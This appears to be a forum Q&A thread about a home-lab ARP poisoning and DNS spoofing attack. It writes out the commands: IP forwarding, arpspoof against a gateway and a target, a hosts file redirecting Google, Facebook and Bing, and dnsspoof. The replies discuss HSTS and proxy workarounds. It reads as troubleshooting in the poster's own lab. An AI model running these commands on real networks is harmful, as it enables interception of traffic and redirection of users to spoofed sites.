0

SETUP:

Target Machine: VM on my network, on a machine that is hardwired to the router

Kali Box: Tried both in a VM on the same machine as my target and a live boot on a laptop over wifi. Both within the same network

MACHINE IPS:

Target: 192.168.1.83

Gateway: 192.168.1.254

Address to redirect to: 162.226.5.161 (my blog)

Steps taken to spoof dns:

  1. Setup traffic forwarding on my kali box

echo 1 > /proc/sys/net/ipv4/ip_forward

  1. arp poison the gateway

arp -i wlan0 -t 192.168.1.254 192.168.1.83

  1. arp poison the target

arp -i wlan0 -t 192.168.1.83 192.168.1.254

  1. create a host file (using tab in between the ip and the url)

cat > host

162.226.5.161 *.google.com

162.226.5.161 *.facebook.com

162.226.5.161 *.bing.com

  1. start dns spoof

dnsspoof -i wlan0 -f host

Results

When I use NSLOOKUP at retrieve the DNS records for my target sites the expected ip of 162.226.5.161 is returned. However when you go to the target sites in the browser it just times out.

enter image description here

When the target machine calls one of the target sites I can see dnsspoof logging the traffic.

enter image description here

THE PROBLEM:

As noted above, when you navigate to the target sites in the browser the request times out even though NSLOOKUP is returning the proper redirect ip.

Improve this question
5
  • Although your screenshots are hard to read, the two sites I see, www.google.com and www.facebook.com, are both on the HSTS preload list, and HTTPS (443) to your site 162.226.5.161 apparently times-out (it does so from my ISP at least).
    – dave_thompson_085
    Sep 20, 2016 at 10:58
  • Oh interesting. I didn't realize it was attempting to forward to port 443. Is there a way to switch it to port 80? @dave_thompson_085
    – DotNetRussell
    Sep 20, 2016 at 11:01
  • 1
    To get a browser to send http to an HSTS host you'll have to patch the browser. Firefox and Chrome are open s9urce, but pretty big and complicated; if you're a very good programmer maybe a few weeks. (2) A nonbrowser client like curl or wget doesn't do HSTS and will send the request fine, but the results will be very hard to read. (3) You could set up an HTTP proxy so the browser thinks it is connecting to say myfake.local which has no HSTS and the proxy tries to relay to www.google.com which you spoof. Apache or nginx can do this, and maybe Squid or Burp etc....
    – dave_thompson_085
    Sep 21, 2016 at 13:50
  • ... (0) But easier just use a host not set for HSTS in the first place, as you already found.
    – dave_thompson_085
    Sep 21, 2016 at 13:51
  • @dave_thompson_085 that's the direction I needed. Thank you, I will look into HTTP proxy next
    – DotNetRussell
    Sep 21, 2016 at 13:51

1 Answer 1

Reset to default
0

So the answer was obvious I suppose but I still don't know how to work around this.

When the target machine was requesting a site such Facebook.com it was doing it over HTTPS obviously. Which I guess meant it expected the site returned to accept a HTTPS connection.

This means that if I wish to DNS Spoof and forward the target machine to a different site that (at least for the moment until I figure out a work around) it needs to accept the same protocol that was initially requested.

To test this theory I found a site that allows HTTP connections (MSN.com) and I instead returned my blog. This worked swimmingly.

Results

So the short answer to the above problem was that I was attempting to forward the target to a machine that didn't support HTTPS though that's what the target machines initial request was for.

By using a site that accepted HTTP requests I was able to confirm this was the problem.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .